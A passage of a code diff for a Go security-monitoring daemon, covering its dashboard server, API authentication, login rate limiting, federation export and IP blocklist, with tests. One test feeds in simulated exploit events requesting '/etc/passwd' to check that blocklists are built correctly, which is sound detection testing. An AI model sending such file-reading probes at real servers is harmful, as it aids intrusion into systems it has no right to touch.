t.Fatal("a revoked session must close its live stream at the next heartbeat")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientIPVectors(t *testing.T) {
|
||||
trusted := mustPrefixes("10.0.0.0/8,172.16.0.0/12")
|
||||
for xff, want := range map[string]string{
|
||||
"1.1.1.1, 2.2.2.2": "2.2.2.2",
|
||||
"1.1.1.1,2.2.2.2:80": "172.18.0.2", // not an address: fall back to the proxy
|
||||
"1.1.1.1, 203.0.113.5 ,172.18.0.1": "203.0.113.5",
|
||||
"::ffff:1.2.3.4": "1.2.3.4",
|
||||
"fe80::1%eth0": "172.18.0.2",
|
||||
"1.1.1.1, , 2.2.2.2": "2.2.2.2",
|
||||
"172.18.0.9": "172.18.0.2",
|
||||
} {
|
||||
r := httptest.NewRequest("GET", "/", nil)
|
||||
r.RemoteAddr = "172.18.0.2:5555"
|
||||
r.Header.Set("X-Forwarded-For", xff)
|
||||
if got := clientIP(r, trusted); got != want {
|
||||
t.Errorf("XFF=%q -> %q, want %q", xff, got, want)
|
||||
}
|
||||
}
|
||||
r := httptest.NewRequest("GET", "/", nil)
|
||||
r.RemoteAddr = "[fd00::5]:5555"
|
||||
r.Header.Set("X-Forwarded-For", "1.1.1.1")
|
||||
if clientIP(r, trusted) != "fd00::5" {
|
||||
t.Fatal("a peer outside the trusted list is the client")
|
||||
}
|
||||
}
|
||||
|
||||
func TestConcurrentHubAndStoreUnderLoad(t *testing.T) {
|
||||
pst := store.New(store.Config{Name: "peer", Version: "t"})
|
||||
ph := New(Options{Token: utok, PeerTokens: []string{ptok}, Store: pst})
|
||||
ps := httptest.NewServer(ph)
|
||||
defer ps.Close()
|
||||
hub := fed.NewHub([]fed.Peer{{Name: "peer", URL: ps.URL}}, ptok)
|
||||
hub.Interval = 20 * time.Millisecond
|
||||
st := store.New(store.Config{Name: "me", Version: "t", MaxIPs: 3000})
|
||||
srv := httptest.NewServer(New(Options{Token: utok, PeerTokens: []string{ptok}, Store: st, Hub: hub}))
|
||||
defer srv.Close()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
go hub.Run(ctx)
|
||||
var wg sync.WaitGroup
|
||||
stop := make(chan struct{})
|
||||
now := time.Now()
|
||||
for _, s := range []*store.Store{st, pst} {
|
||||
wg.Add(1)
|
||||
go func(s *store.Store) {
|
||||
defer wg.Done()
|
||||
for i := 0; ; i++ {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
default:
|
||||
}
|
||||
s.Ingest(core.Event{Time: now, IP: fmt.Sprintf("9.%d.%d.%d", i>>16&255, i>>8&255, i&255), Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET", Domain: "d"})
|
||||
s.Traffic(core.Event{Time: now, IP: "3.3.3.3", Source: "traefik", Domain: "d", Method: "GET", Path: "/", Status: 200})
|
||||
}
|
||||
}(s)
|
||||
}
|
||||
paths := []string{"/api/v1/summary", "/api/v1/summary?host=peer", "/api/v1/ips?per=200&sort=events", "/api/v1/traffic?domain=d", "/api/v1/blocklist.json", "/api/v1/ip/9.0.0.1"}
|
||||
for g := 0; g < 6; g++ {
|
||||
wg.Add(1)
|
||||
go func(g int) {
|
||||
defer wg.Done()
|
||||
for i := 0; ; i++ {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
default:
|
||||
}
|
||||
req, _ := http.NewRequest("GET", srv.URL+paths[(g+i)%len(paths)], nil)
|
||||
req.Header.Set("Authorization", "Bearer "+utok)
|
||||
if r, err := http.DefaultClient.Do(req); err == nil {
|
||||
io.Copy(io.Discard, r.Body)
|
||||
r.Body.Close()
|
||||
}
|
||||
}
|
||||
}(g)
|
||||
}
|
||||
time.Sleep(1500 * time.Millisecond)
|
||||
close(stop)
|
||||
wg.Wait()
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
// Once a client is blocked, parallel wrong attempts must not run at full
|
||||
// speed: only one waits (progressively delayed), the others get 429 at once,
|
||||
// and the correct token still opens the dashboard.
|
||||
func TestBlockedClientIsSerializedAndAdminStillGetsIn(t *testing.T) {
|
||||
old, oldMax := loginBlockedDelay, maxBlockedDelay
|
||||
loginBlockedDelay, maxBlockedDelay = 40*time.Millisecond, 200*time.Millisecond
|
||||
defer func() { loginBlockedDelay, maxBlockedDelay = old, oldMax }()
|
||||
h, _ := setup(t)
|
||||
auth := func(tok string) int {
|
||||
return do(h, "GET", "/api/v1/summary", map[string]string{"Authorization": "Bearer " + tok, "X-Remote": "203.0.113.77:1"}, nil).Code
|
||||
}
|
||||
for i := 0; i < loginMax; i++ {
|
||||
auth("wrong-guess")
|
||||
}
|
||||
var slow atomic.Int32
|
||||
var wg sync.WaitGroup
|
||||
start := time.Now()
|
||||
for i := 0; i < 50; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
t0 := time.Now()
|
||||
if c := auth("wrong-guess"); c != http.StatusTooManyRequests {
|
||||
t.Errorf("blocked wrong attempt: %d", c)
|
||||
}
|
||||
if time.Since(t0) >= loginBlockedDelay/2 {
|
||||
slow.Add(1)
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
if n := slow.Load(); n > 3 {
|
||||
t.Fatalf("%d parallel wrong attempts were evaluated slowly; only one at a time should wait", n)
|
||||
}
|
||||
if time.Since(start) > 5*time.Second {
|
||||
t.Fatal("parallel attempts must not pile up delays")
|
||||
}
|
||||
if c := auth(utok); c != 200 {
|
||||
t.Fatalf("the correct token must still be accepted while the client is blocked: %d", c)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPenaltyGrowsAndIsCapped(t *testing.T) {
|
||||
old := loginBlockedDelay
|
||||
loginBlockedDelay = time.Second
|
||||
defer func() { loginBlockedDelay = old }()
|
||||
l := newLimiter()
|
||||
var last time.Duration
|
||||
for i := 0; i < loginMax+20; i++ {
|
||||
l.failure("203.0.113.9")
|
||||
p := l.penalty("203.0.113.9")
|
||||
if p < last {
|
||||
t.Fatalf("penalty must not shrink: %v after %v", p, last)
|
||||
}
|
||||
last = p
|
||||
}
|
||||
if last != maxBlockedDelay {
|
||||
t.Fatalf("penalty cap: %v", last)
|
||||
}
|
||||
if n := len(l.fail[limiterKey("203.0.113.9")]); n > maxFailKept {
|
||||
t.Fatalf("timestamps per client must be bounded: %d", n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBlocklistFamilyFilter(t *testing.T) {
|
||||
st := store.New(store.Config{Name: "oracle", Version: "test"})
|
||||
now := time.Now()
|
||||
for i := 0; i < 30; i++ {
|
||||
for _, ip := range []string{"45.94.31.4", "2a01:4f8:1:2::99"} {
|
||||
st.Ingest(core.Event{Time: now, IP: ip, Cat: core.Exploit, Strong: true, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/etc/passwd", Status: 404})
|
||||
}
|
||||
}
|
||||
h := New(Options{Token: utok, Version: "test", Store: st})
|
||||
get := func(q string) string {
|
||||
return do(h, "GET", "/api/v1/blocklist.txt"+q, map[string]string{"Authorization": "Bearer " + utok}, nil).Body.String()
|
||||
}
|
||||
all, v4, v6 := get("?min_score=1"), get("?min_score=1&family=4"), get("?min_score=1&family=6")
|
||||
if !strings.Contains(all, "45.94.31.4") || !strings.Contains(all, "::/64") {
|
||||
t.Fatalf("default lists both families: %q", all)
|
||||
}
|
||||
if v4 != "45.94.31.4\n" {
|
||||
t.Fatalf("family=4 must be plain IPv4 only (ipset hash:ip): %q", v4)
|
||||
}
|
||||
if strings.Contains(v6, "45.94.31.4") || !strings.Contains(v6, "::/64") {
|
||||
t.Fatalf("family=6: %q", v6)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,701 @@
|
||||
// Package server exposes the dashboard and the JSON API.
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"embed"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
//go:embed web
|
||||
var webFS embed.FS
|
||||
|
||||
// maxSSE bounds the simultaneous live streams.
|
||||
const maxSSE = 20
|
||||
|
||||
// sseHeartbeat is how often a live stream pings and revalidates its session.
|
||||
var sseHeartbeat = 20 * time.Second
|
||||
|
||||
// loginBlockedDelay is the fixed delay applied to login attempts from a blocked client.
|
||||
var loginBlockedDelay = time.Second
|
||||
|
||||
// HTTPServer wraps a handler with the timeouts and limits of the daemon. The
|
||||
// SSE handler lifts the write deadline of its own connection.
|
||||
func HTTPServer(h http.Handler, base context.Context) *http.Server {
|
||||
return &http.Server{Handler: h, ReadHeaderTimeout: 10 * time.Second, ReadTimeout: 30 * time.Second,
|
||||
WriteTimeout: 30 * time.Second, IdleTimeout: 120 * time.Second, MaxHeaderBytes: 16 << 10,
|
||||
BaseContext: func(net.Listener) context.Context { return base }}
|
||||
}
|
||||
|
||||
// Options configure the handler.
|
||||
type Options struct {
|
||||
Token string
|
||||
// PeerTokens are the federation tokens accepted by /api/v1/peer/export.
|
||||
PeerTokens []string
|
||||
// Ignore lists networks that must never appear in the blocklist (ignore + trusted).
|
||||
Ignore []netip.Prefix
|
||||
// AllowHosts: with NoAuth, only requests whose Host is one of these are served
|
||||
// (anti DNS rebinding).
|
||||
AllowHosts []string
|
||||
// PeerAllow, when not empty, restricts /api/v1/peer/export to these source
|
||||
// networks. TrustedProxy lists the reverse proxies whose X-Forwarded-For is believed.
|
||||
PeerAllow []netip.Prefix
|
||||
TrustedProxy []netip.Prefix
|
||||
NoAuth bool
|
||||
Version string
|
||||
Store *store.Store
|
||||
Hub *fed.Hub
|
||||
Now func() time.Time
|
||||
}
|
||||
|
||||
// Server is the HTTP handler.
|
||||
type Server struct {
|
||||
sse atomic.Int32
|
||||
exp exportCache
|
||||
opt Options
|
||||
ses *sessions
|
||||
lim *limiter
|
||||
mux *http.ServeMux
|
||||
assets fs.FS
|
||||
}
|
||||
|
||||
// New builds the handler.
|
||||
func New(opt Options) http.Handler {
|
||||
if opt.Now == nil {
|
||||
opt.Now = time.Now
|
||||
}
|
||||
sub, _ := fs.Sub(webFS, "web")
|
||||
s := &Server{opt: opt, ses: newSessions(), lim: newLimiter(), mux: http.NewServeMux(), assets: sub}
|
||||
m := s.mux
|
||||
m.HandleFunc("GET /api/health", s.health)
|
||||
m.HandleFunc("GET /login", s.loginPage)
|
||||
m.HandleFunc("POST /login", s.login)
|
||||
m.HandleFunc("POST /logout", s.logout)
|
||||
m.HandleFunc("GET /{$}", s.index)
|
||||
for _, f := range []string{"/style.css", "/app.js", "/i18n.js", "/login.js", "/logo.png", "/favicon.png", "/world.js"} {
|
||||
name := strings.TrimPrefix(f, "/")
|
||||
m.HandleFunc("GET "+f, func(w http.ResponseWriter, r *http.Request) { s.static(w, r, name) })
|
||||
}
|
||||
m.HandleFunc("GET /api/v1/peer/export", s.peerExport)
|
||||
m.HandleFunc("GET /api/v1/summary", s.api(s.summary))
|
||||
m.HandleFunc("GET /api/v1/traffic", s.api(s.traffic))
|
||||
m.HandleFunc("GET /api/v1/ips", s.api(s.ips))
|
||||
m.HandleFunc("GET /api/v1/ip/{ip}", s.api(s.ipDetail))
|
||||
m.HandleFunc("GET /api/v1/events/stream", s.api(s.stream))
|
||||
m.HandleFunc("GET /api/v1/blocklist.txt", s.api(s.blocklist(false)))
|
||||
m.HandleFunc("GET /api/v1/blocklist.json", s.api(s.blocklist(true)))
|
||||
return s.headers(m)
|
||||
}
|
||||
|
||||
func (s *Server) headers(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if s.opt.NoAuth && !hostAllowed(r.Host, s.opt.AllowHosts) {
|
||||
http.Error(w, "host not allowed", http.StatusForbidden) // DNS rebinding guard
|
||||
return
|
||||
}
|
||||
h := w.Header()
|
||||
h.Set("Content-Security-Policy", "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'")
|
||||
h.Set("X-Content-Type-Options", "nosniff")
|
||||
h.Set("X-Frame-Options", "DENY")
|
||||
h.Set("Referrer-Policy", "same-origin")
|
||||
h.Set("Cross-Origin-Opener-Policy", "same-origin")
|
||||
h.Set("Cross-Origin-Resource-Policy", "same-origin")
|
||||
h.Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
|
||||
if isHTTPS(r) {
|
||||
h.Set("Strict-Transport-Security", "max-age=31536000")
|
||||
}
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
func writeJSON(w http.ResponseWriter, code int, v any) {
|
||||
w.Header().Set("Content-Type", "application/json; charset=utf-8")
|
||||
w.Header().Set("Cache-Control", "no-store")
|
||||
w.WriteHeader(code)
|
||||
json.NewEncoder(w).Encode(v)
|
||||
}
|
||||
|
||||
func (s *Server) health(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, 200, map[string]string{"status": "ok"})
|
||||
}
|
||||
|
||||
// authKind returns "session" or "bearer" for a valid user credential (cookie or
|
||||
// URUTAU_TOKEN), "peer" for the federation token, "" otherwise.
|
||||
func (s *Server) authKind(r *http.Request) string {
|
||||
if s.opt.NoAuth {
|
||||
return "session"
|
||||
}
|
||||
if a := r.Header.Get("Authorization"); strings.HasPrefix(a, "Bearer ") {
|
||||
tok := strings.TrimSpace(a[7:])
|
||||
if tokenEqual(tok, s.opt.Token) {
|
||||
return "bearer"
|
||||
}
|
||||
if s.peerTokenOK(tok) {
|
||||
return "peer"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
if c, err := r.Cookie(cookieName); err == nil && s.ses.valid(c.Value, s.opt.Now()) {
|
||||
return "session"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (s *Server) peerTokenOK(tok string) bool {
|
||||
ok := false
|
||||
for _, t := range s.opt.PeerTokens { // no early exit: constant work per token
|
||||
if tokenEqual(tok, t) {
|
||||
ok = true
|
||||
}
|
||||
}
|
||||
return ok
|
||||
}
|
||||
|
||||
// api wraps a user endpoint: only a session or URUTAU_TOKEN opens it. The peer
|
||||
// token is refused with 403 (it is a valid credential, for another route).
|
||||
func (s *Server) api(h http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
switch s.authKind(r) {
|
||||
case "session", "bearer":
|
||||
case "peer":
|
||||
writeJSON(w, http.StatusForbidden, map[string]string{"error": "the peer token only opens /api/v1/peer/export"})
|
||||
return
|
||||
default:
|
||||
ip := clientIP(r, s.opt.TrustedProxy)
|
||||
wait := s.lim.blocked(ip)
|
||||
if strings.HasPrefix(r.Header.Get("Authorization"), "Bearer ") {
|
||||
delay := s.lim.penalty(ip) // measured before this failure is counted
|
||||
s.lim.failure(ip) // guessing the token on the API counts like on the login form
|
||||
if wait > 0 {
|
||||
s.slowFail(ip, delay)
|
||||
}
|
||||
}
|
||||
if wait = s.lim.blocked(ip); wait > 0 {
|
||||
w.Header().Set("Retry-After", strconv.Itoa(int(wait.Seconds())+1))
|
||||
writeJSON(w, http.StatusTooManyRequests, map[string]string{"error": "too many attempts"})
|
||||
return
|
||||
}
|
||||
w.Header().Set("WWW-Authenticate", `Bearer realm="urutau"`)
|
||||
writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "unauthorized"})
|
||||
return
|
||||
}
|
||||
w.Header().Set("Cache-Control", "no-store")
|
||||
h(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
// slowFail delays a wrong attempt of a blocked client. Only one attempt per
|
||||
// client waits at a time; concurrent ones return at once (and get 429), so
|
||||
// parallel requests do not multiply the guessing rate.
|
||||
func (s *Server) slowFail(ip string, d time.Duration) {
|
||||
release, ok := s.lim.acquire(ip)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
defer release()
|
||||
if d > 0 {
|
||||
time.Sleep(d)
|
||||
}
|
||||
}
|
||||
|
||||
type exportCache struct {
|
||||
mu sync.Mutex
|
||||
at map[string]time.Time
|
||||
v map[string][]byte
|
||||
}
|
||||
|
||||
// peerExport is the only route the peer token opens: GET /api/v1/peer/export.
|
||||
func (s *Server) peerExport(w http.ResponseWriter, r *http.Request) {
|
||||
if len(s.opt.PeerTokens) == 0 && !s.opt.NoAuth {
|
||||
writeJSON(w, http.StatusNotFound, map[string]string{"error": "federation is not enabled"})
|
||||
return
|
||||
}
|
||||
if len(s.opt.PeerAllow) > 0 {
|
||||
a, err := netip.ParseAddr(clientIP(r, s.opt.TrustedProxy))
|
||||
if err != nil || !prefixesContain(s.opt.PeerAllow, a) {
|
||||
writeJSON(w, http.StatusForbidden, map[string]string{"error": "source not allowed"})
|
||||
return
|
||||
}
|
||||
}
|
||||
if !s.opt.NoAuth && s.authKind(r) != "peer" {
|
||||
if strings.HasPrefix(r.Header.Get("Authorization"), "Bearer ") {
|
||||
s.lim.failure(clientIP(r, s.opt.TrustedProxy))
|
||||
}
|
||||
w.Header().Set("WWW-Authenticate", `Bearer realm="urutau-peer"`)
|
||||
writeJSON(w, http.StatusUnauthorized, map[string]string{"error": "unauthorized"})
|
||||
return
|
||||
}
|
||||
rg := store.ParseRange(r.URL.Query().Get("range")).Name
|
||||
s.exp.mu.Lock()
|
||||
if s.exp.v == nil {
|
||||
s.exp.v, s.exp.at = map[string][]byte{}, map[string]time.Time{}
|
||||
}
|
||||
b, ok := s.exp.v[rg]
|
||||
if !ok || time.Since(s.exp.at[rg]) > 5*time.Second {
|
||||
b, _ = json.Marshal(s.opt.Store.Export(rg))
|
||||
s.exp.v[rg], s.exp.at[rg] = b, time.Now()
|
||||
}
|
||||
s.exp.mu.Unlock()
|
||||
w.Header().Set("Content-Type", "application/json; charset=utf-8")
|
||||
w.Header().Set("Cache-Control", "no-store")
|
||||
w.Write(b)
|
||||
}
|
||||
|
||||
func prefixesContain(ps []netip.Prefix, a netip.Addr) bool {
|
||||
a = a.Unmap()
|
||||
for _, p := range ps {
|
||||
if p.Contains(a) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *Server) static(w http.ResponseWriter, r *http.Request, name string) {
|
||||
b, err := fs.ReadFile(s.assets, name)
|
||||
if err != nil {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
ct := "application/octet-stream"
|
||||
switch {
|
||||
case strings.HasSuffix(name, ".css"):
|
||||
ct = "text/css; charset=utf-8"
|
||||
case strings.HasSuffix(name, ".js"):
|
||||
ct = "text/javascript; charset=utf-8"
|
||||
case strings.HasSuffix(name, ".png"):
|
||||
ct = "image/png"
|
||||
case strings.HasSuffix(name, ".html"):
|
||||
ct = "text/html; charset=utf-8"
|
||||
}
|
||||
w.Header().Set("Content-Type", ct)
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
w.Write(b)
|
||||
}
|
||||
|
||||
func (s *Server) index(w http.ResponseWriter, r *http.Request) {
|
||||
if s.authKind(r) == "" {
|
||||
http.Redirect(w, r, "/login", http.StatusSeeOther)
|
||||
return
|
||||
}
|
||||
s.static(w, r, "index.html")
|
||||
}
|
||||
|
||||
func (s *Server) loginPage(w http.ResponseWriter, r *http.Request) {
|
||||
if s.authKind(r) != "" {
|
||||
http.Redirect(w, r, "/", http.StatusSeeOther)
|
||||
return
|
||||
}
|
||||
s.static(w, r, "login.html")
|
||||
}
|
||||
|
||||
// sameOrigin rejects cross-site form posts: browsers send Sec-Fetch-Site and
|
||||
// Origin; SameSite=Strict on the cookie is the first line, this is the second.
|
||||
func sameOrigin(r *http.Request) bool {
|
||||
switch r.Header.Get("Sec-Fetch-Site") {
|
||||
case "cross-site":
|
||||
return false
|
||||
case "same-origin":
|
||||
return true // browsers that send Fetch Metadata state it reliably
|
||||
}
|
||||
if o := r.Header.Get("Origin"); o != "" {
|
||||
u, err := url.Parse(o)
|
||||
if err != nil || u.Host == "" || !strings.EqualFold(u.Host, r.Host) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (s *Server) login(w http.ResponseWriter, r *http.Request) {
|
||||
if !sameOrigin(r) {
|
||||
http.Error(w, "cross-site request refused", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
ip := clientIP(r, s.opt.TrustedProxy)
|
||||
r.Body = http.MaxBytesReader(w, r.Body, 4096)
|
||||
if err := r.ParseForm(); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
// The correct token is always accepted at once, so an attacker who burns
|
||||
// the limit cannot lock the administrator out. Guessing stays infeasible:
|
||||
// tokens carry at least 128 bits (checkToken). Wrong attempts of a blocked
|
||||
// client are serialized and progressively delayed (s.slowFail).
|
||||
if s.opt.NoAuth || !tokenEqual(r.PostForm.Get("token"), s.opt.Token) {
|
||||
wait := s.lim.blocked(ip)
|
||||
delay := s.lim.penalty(ip) // measured before this failure is counted
|
||||
s.lim.failure(ip)
|
||||
if wait > 0 {
|
||||
s.slowFail(ip, delay)
|
||||
w.Header().Set("Retry-After", strconv.Itoa(int(wait.Seconds())+1))
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.Header().Set("Cache-Control", "no-store")
|
||||
w.WriteHeader(http.StatusTooManyRequests)
|
||||
if b, err := fs.ReadFile(s.assets, "login.html"); err == nil {
|
||||
w.Write(b)
|
||||
}
|
||||
return
|
||||
}
|
||||
http.Redirect(w, r, "/login?e=bad", http.StatusSeeOther)
|
||||
return
|
||||
}
|
||||
s.lim.reset(ip)
|
||||
val, exp := s.ses.issue(s.opt.Now())
|
||||
http.SetCookie(w, &http.Cookie{Name: cookieName, Value: val, Path: "/", Expires: exp, MaxAge: int(sessionTTL.Seconds()),
|
||||
HttpOnly: true, Secure: isHTTPS(r), SameSite: http.SameSiteStrictMode})
|
||||
http.Redirect(w, r, "/", http.StatusSeeOther)
|
||||
}
|
||||
|
||||
func (s *Server) logout(w http.ResponseWriter, r *http.Request) {
|
||||
if !sameOrigin(r) {
|
||||
http.Error(w, "cross-site request refused", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
if c, err := r.Cookie(cookieName); err == nil {
|
||||
s.ses.revoke(c.Value)
|
||||
}
|
||||
http.SetCookie(w, &http.Cookie{Name: cookieName, Value: "", Path: "/", MaxAge: -1, HttpOnly: true,
|
||||
Secure: isHTTPS(r), SameSite: http.SameSiteStrictMode})
|
||||
http.Redirect(w, r, "/login", http.StatusSeeOther)
|
||||
}
|
||||
|
||||
// hostSel is the "host" query parameter resolved.
|
||||
func (s *Server) parts(rangeName, host string) (parts []store.Summary, all []store.HostInfo) {
|
||||
self := s.opt.Store.Name()
|
||||
local := s.opt.Store.Summary(rangeName)
|
||||
all = append(all, local.Hosts...)
|
||||
if s.opt.Hub != nil {
|
||||
all = append(all, s.opt.Hub.Hosts()...)
|
||||
}
|
||||
if host == "" || host == "all" || host == self {
|
||||
parts = append(parts, local)
|
||||
}
|
||||
if s.opt.Hub != nil && host != self {
|
||||
only := ""
|
||||
if host != "" && host != "all" {
|
||||
only = host
|
||||
}
|
||||
parts = append(parts, s.opt.Hub.Summaries(rangeName, only)...)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (s *Server) summary(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query()
|
||||
rg := store.ParseRange(q.Get("range")).Name
|
||||
host := q.Get("host")
|
||||
if host == "" {
|
||||
host = "all"
|
||||
}
|
||||
if host != "all" && host != s.opt.Store.Name() && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) {
|
||||
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
|
||||
return
|
||||
}
|
||||
parts, hosts := s.parts(rg, host)
|
||||
var out store.Summary
|
||||
switch len(parts) {
|
||||
case 0:
|
||||
out = store.Summary{Version: s.opt.Version, Host: host, Range: rg, Generated: s.opt.Now().Unix()}
|
||||
default:
|
||||
out = store.Merge(host, parts)
|
||||
}
|
||||
out.Hosts = hosts
|
||||
// Peers' sources are in the merge; keep a stable order: by host then name.
|
||||
sort.SliceStable(out.Sources, func(i, j int) bool {
|
||||
if out.Sources[i].Host != out.Sources[j].Host {
|
||||
return out.Sources[i].Host < out.Sources[j].Host
|
||||
}
|
||||
return out.Sources[i].Name < out.Sources[j].Name
|
||||
})
|
||||
writeJSON(w, 200, out)
|
||||
}
|
||||
|
||||
// allIPs returns the merged IP table for the requested host selection.
|
||||
func (s *Server) allIPs(rangeName, host string) []store.IPSummary {
|
||||
rg := store.ParseRange(rangeName)
|
||||
var lists [][]store.IPSummary
|
||||
self := s.opt.Store.Name()
|
||||
if host == "" || host == "all" || host == self {
|
||||
lists = append(lists, s.opt.Store.AllIPs(rg, false))
|
||||
}
|
||||
if s.opt.Hub != nil && host != self {
|
||||
only := ""
|
||||
if host != "" && host != "all" {
|
||||
only = host
|
||||
}
|
||||
for _, p := range s.opt.Hub.Summaries(rg.Name, only) {
|
||||
lists = append(lists, p.IPs)
|
||||
}
|
||||
}
|
||||
return store.MergeIPs(lists...)
|
||||
}
|
||||
|
||||
func (s *Server) ips(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query()
|
||||
list := s.allIPs(q.Get("range"), q.Get("host"))
|
||||
minScore, _ := strconv.ParseFloat(q.Get("min_score"), 64)
|
||||
level, needle := q.Get("level"), strings.ToLower(strings.TrimSpace(q.Get("q")))
|
||||
banned := q.Get("banned") == "1"
|
||||
filtered := list[:0:0]
|
||||
for _, x := range list {
|
||||
if x.Score < minScore || (level != "" && string(x.Level) != level) || (banned && !x.Banned) {
|
||||
continue
|
||||
}
|
||||
if needle != "" && !strings.Contains(x.IP, needle) && !strings.Contains(strings.ToLower(x.RDNS), needle) {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, x)
|
||||
}
|
||||
switch q.Get("sort") {
|
||||
case "score", "last", "first", "events", "ip":
|
||||
store.SortIPs(filtered, q.Get("sort"), q.Get("order") != "asc")
|
||||
}
|
||||
per, _ := strconv.Atoi(q.Get("per"))
|
||||
if per < 1 || per > 200 {
|
||||
per = 50
|
||||
}
|
||||
page, _ := strconv.Atoi(q.Get("page"))
|
||||
if page < 1 {
|
||||
page = 1
|
||||
}
|
||||
if page > 100000 {
|
||||
page = 100000
|
||||
}
|
||||
from := (page - 1) * per
|
||||
if from > len(filtered) {
|
||||
from = len(filtered)
|
||||
}
|
||||
to := from + per
|
||||
if to > len(filtered) {
|
||||
to = len(filtered)
|
||||
}
|
||||
items := filtered[from:to]
|
||||
for i := range items {
|
||||
s.opt.Store.Enrich(&items[i])
|
||||
if items[i].RDNS == "" {
|
||||
items[i].RDNS = s.opt.Store.RDNSOf(items[i].IP)
|
||||
}
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"total": len(filtered), "page": page, "per": per, "items": items})
|
||||
}
|
||||
|
||||
func (s *Server) ipDetail(w http.ResponseWriter, r *http.Request) {
|
||||
raw := r.PathValue("ip")
|
||||
if _, ok := blockAddr(raw); !ok {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "invalid ip"})
|
||||
return
|
||||
}
|
||||
ip := store.KeyOf(raw)
|
||||
var lists [][]store.IPSummary
|
||||
if d, ok := s.opt.Store.IP(ip); ok {
|
||||
lists = append(lists, []store.IPSummary{d})
|
||||
}
|
||||
if s.opt.Hub != nil {
|
||||
lists = append(lists, s.opt.Hub.IPDetail(ip))
|
||||
}
|
||||
m := store.MergeIPs(lists...)
|
||||
if len(m) == 0 {
|
||||
writeJSON(w, http.StatusNotFound, map[string]string{"error": "not found"})
|
||||
return
|
||||
}
|
||||
writeJSON(w, 200, m[0])
|
||||
}
|
||||
|
||||
func (s *Server) stream(w http.ResponseWriter, r *http.Request) {
|
||||
fl, ok := w.(http.Flusher)
|
||||
if !ok {
|
||||
http.Error(w, "streaming unsupported", 500)
|
||||
return
|
||||
}
|
||||
if s.sse.Add(1) > maxSSE {
|
||||
s.sse.Add(-1)
|
||||
w.Header().Set("Retry-After", "10")
|
||||
http.Error(w, "too many live streams", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
defer s.sse.Add(-1)
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.SetWriteDeadline(time.Time{})
|
||||
h := w.Header()
|
||||
h.Set("Content-Type", "text/event-stream")
|
||||
h.Set("Cache-Control", "no-store")
|
||||
h.Set("X-Accel-Buffering", "no")
|
||||
ch, stop := s.opt.Store.Subscribe()
|
||||
defer stop()
|
||||
fmt.Fprint(w, "retry: 3000\n: connected\n\n")
|
||||
fl.Flush()
|
||||
tick := time.NewTicker(sseHeartbeat)
|
||||
defer tick.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-r.Context().Done():
|
||||
return
|
||||
case <-tick.C:
|
||||
if k := s.authKind(r); k != "session" && k != "bearer" {
|
||||
return // the session expired or was revoked: close the stream
|
||||
}
|
||||
if _, err := fmt.Fprint(w, ": ping\n\n"); err != nil {
|
||||
return
|
||||
}
|
||||
fl.Flush()
|
